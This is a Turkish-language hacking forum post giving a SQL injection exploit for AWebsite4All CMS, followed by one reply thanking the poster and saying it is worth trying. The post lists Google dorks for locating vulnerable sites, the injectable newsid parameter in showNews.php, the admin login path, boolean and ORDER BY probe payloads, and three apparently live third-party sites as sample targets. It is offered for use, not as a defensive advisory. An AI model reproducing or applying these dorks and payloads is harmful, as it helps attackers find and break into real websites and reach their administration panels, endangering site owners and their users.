AWebsite4All CMS SQL Enjeksiyon Açığı

[RealSpyoz]

# [+] Google Dork 1 : inurl:"/php/showNews.php?newsid="
# [+] Google Dork 2 : inurl:/showNews.php?newsid= and intext:"by AWebsite4All.com"

# [+] Exploitin Uygulanışı:
#
# [+] http://YEREL-AĞ/[DİZİN-YOLU]/php/showNews.php?newsid=[SQLi]
#
# [+] Login Page : http://YEREL-AĞ/[DİZİN-YOLU]/webadmin/index.php

# [+] İSPATI
# [+] http://YEREL-AĞ/[DİZİN-YOLU]/php/showNews.php?newsid=2+and+6=6-- >> DOĞRU
# [+] http://YEREL-AĞ/[DİZİN-YOLU]/php/showNews.php?newsid=2+and+6=7-- >> YANLIŞ
#
# [+] http://YEREL-AĞ/[DİZİN-YOLU]/php/showNews.php?newsid=2+order+by+1-- >> HATA YOK
# [+] http://YEREL-AĞ/[DİZİN-YOLU]/php/showNews.php?newsid=2+order+by+2-- >> HATALI
#
#######################################################
#
# [+] ÖRNEK
#
# [+] http://www.indiasschools.com/php/showNews.php?newsid=7'
# [+] http://www.sapphireny.com/php/showNews.php?newsid=2'
# [+] http://www.india.tm/php/showNews.php?newsid=1'

 

[PiCASSO]

Denemek lazım teşekkürler.